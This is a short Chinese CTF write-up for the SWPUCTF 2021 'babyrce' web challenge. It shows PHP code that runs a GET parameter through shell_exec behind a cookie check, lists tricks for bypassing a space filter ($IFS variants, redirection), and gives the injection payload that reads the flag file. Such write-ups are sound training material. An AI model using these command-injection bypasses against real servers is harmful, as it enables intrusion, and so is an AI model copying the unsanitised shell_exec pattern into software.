[SWPUCTF 2021 新生赛]babyrce

发布时间 2023-07-26 23:41:53作者: y0Zero

[SWPUCTF 2021 新生赛]babyrce

题目来源:nssctf

题目类型:web

涉及考点:Cookie注入、代码审计

1. 上来先代码审计

<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1) 
{
    include "../next.php";
}
else
    echo "小饼干最好吃啦!";
?> 小饼干最好吃啦!

题目要求cookie传入参数admin=1,打开F12检查,选择应用程序(Application),选择Cookie,在里面新建名称admin,设置值为1:

看到rasalghul.php文件

2. 我们进入rasalghul.php查看

<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
  $ip=$_GET['url'];
  if(preg_match("/ /", $ip)){
      die('nonono');
  }
  $a = shell_exec($ip);
  echo $a;
}
?>

常见的空格绕过方法:

$IFS
${IFS}
$IFS$1		//1可以换成任意数字
<
<>

又是代码审计,可见过滤掉了空格,要求传入url,利用shell_exec()命令执行,我们先传入:

/rasalghul.php?url=ls

不知道为啥出现这么多,但flag肯定在flllllaaaaaaggggggg里了,于是构造payload:

/rasalghul.php?url=cat$IFS$1/flllllaaaaaaggggggg

得到flag:

NSSCTF{74e32ff7-033e-4262-887f-06968c36d204}

日期:2023.7.26

作者:y0Zero